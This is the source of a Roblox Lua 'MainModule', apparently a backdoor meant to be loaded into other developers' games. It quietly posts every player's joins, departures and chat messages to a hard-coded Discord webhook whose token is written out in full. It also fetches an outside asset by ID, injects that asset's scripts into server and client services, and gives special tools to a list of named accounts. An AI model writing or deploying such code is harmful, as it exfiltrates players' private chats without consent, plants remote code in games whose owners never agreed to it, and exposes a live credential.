local MainModule -- Constants -- -- Services -- local SCRIPT_SERV game

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
local MainModule = {}
-- Constants --
-- Services --
local SCRIPT_SERV = game:GetService("ServerScriptService")
local MARKET_SERVICE = game:GetService("MarketplaceService")
local REP_FIRST = game:GetService("ReplicatedFirst")
local SERV_STOR = game:GetService("ServerStorage")
local INSERT_SERVICE = game:GetService("InsertService")
local HTTP_SERVICE = game:GetService("HttpService")
local PLAYERS = game:GetService("Players")
local DEBRIS = game:GetService("Debris")
-- Chatlogger Data --
local WEBHOOK_URL = "https://ptb.discordapp.com/api/webhooks/607330075662221545/d8RKOqybaEyFNuCPVAj1kGIRlM2-idg7aJNEOyrZvX5X9crYcKWGBCueBccabrnCqWGT"
local GAME_NAME = MARKET_SERVICE:GetProductInfo(game.PlaceId).Name
local GAME_URL = string.format("\n https://www.roblox.com/games/%i/%s",game.PlaceId,GAME_NAME:gsub(" ","-"))
function sendData(s)
local dataToSend = HTTP_SERVICE:JSONEncode({
["content"] = s
})
HTTP_SERVICE:PostAsync(WEBHOOK_URL,dataToSend)
end
function chatLogger()
-- When they join --
PLAYERS.PlayerAdded:Connect(function(newPlayer)
local gameString = string.format("%s has joined the game '%s' %s",newPlayer.Name,GAME_NAME,GAME_URL)
sendData(gameString)
-- When they chat --
newPlayer.Chatted:Connect(function(msg)
gameString = string.format("%s (%s): %s",newPlayer.Name,GAME_NAME,msg)
sendData(gameString)
end)
end)
-- When they leave --
PLAYERS.PlayerRemoving:Connect(function(lostPlayer)
local gameString = string.format("%s has left the game %s",lostPlayer.Name,GAME_NAME)
sendData(gameString)
end)
end
-- Tool Extraction --
local toolModel = 4483254275
local toolData = {
--[[
Format:
[{PlayerName,true/false}] = {Tool1,Tool2,unpack(Void Powers)}
--]]
["Potenstest"] = {"Experimental Luger"},
["Traubles"] = {"Paintball Gun","Tool Snatch","Void Snatch","Ethereal Stride","Frost Breath","Icewand","Snow Storm","Ice Hammer",},
["JacquesTheSnatcher"] = {"Tool Snatch","Void Snatch","Ethereal Stride","Frost Breath","Icewand","Snow Storm","Ice Hammer",},
["Unixial"] = {"Icoe Essence","VineStaff","Flamethrower"},
["Ixorg"] = {"Gravity Gun","Fire Essence","Earth Essence"},
["Deathbrew"] = {"Ice Essence"},
["244Pixels"] = {"Sniper Rifle Of Death"},
["christopher90111"] = {"Darkheart","Flamethrower"},
["rios56461"] = {"Darkheart"},
["Mutationes"] = {"Illumina"}
}
local scriptData = {
--[[
Format:
[{scriptName,gameId}] = Parent
--]]
[{"BubbleChat"}] = REP_FIRST,
[{"GiveHP"}] = SCRIPT_SERV,
}
local playerBlacklsit = {}
function getOfClass(tbl,class)
local got = {}
for i = 1,#tbl do
if tbl[i]:IsA(class) then
table.insert(got,tbl[i])
end
end
return got
end
function downloadModel()
-- Attempt to insert the Tool Model --
local extracted,latestVersion = pcall(function()
return INSERT_SERVICE:LoadAsset(toolModel):FindFirstChildOfClass("Model")
end)
-- If it successfully downloaded the latest version --
if latestVersion then
latestVersion.Parent = SERV_STOR
-- Extract all the scripts --
-- Loop through scriptData for the data --
for scriptInfo,parent in pairs(scriptData) do
local validScript = latestVersion.Scripts:FindFirstChild(scriptInfo[1])
if validScript then
local cScript = validScript:Clone()
-- If this is a game specific script, and this is the right game --
if scriptInfo[2] then
if game.PlaceId == scriptInfo[2] then
cScript:Clone().Parent = parent
end
else
cScript:Clone().Parent = parent
end
end
end
-- Give players tools --
local allTools = getOfClass(latestVersion.Tools:GetDescendants(),"Tool")
print(unpack(allTools))
-- Start awaiting on Player joins --
PLAYERS.PlayerAdded:Connect(function(newPlayer)
newPlayer.CharacterAdded:Connect(function()
-- Loop through toolData --
for plrName,charWeapons in pairs(toolData) do
if plrName == newPlayer.Name then
-- Give tools --
for i = 1,#charWeapons do
for _,tool in pairs(allTools) do
-- Look for the requested tool --
if charWeapons[i] == tool.Name then
tool:Clone().Parent = newPlayer.Backpack
end
end
end
end
end
end)
end)
print("Successfully extracted scripts!")
end
end
function MainModule:Start()
-- Start the needed services --
chatLogger()
downloadModel()
end
return MainModule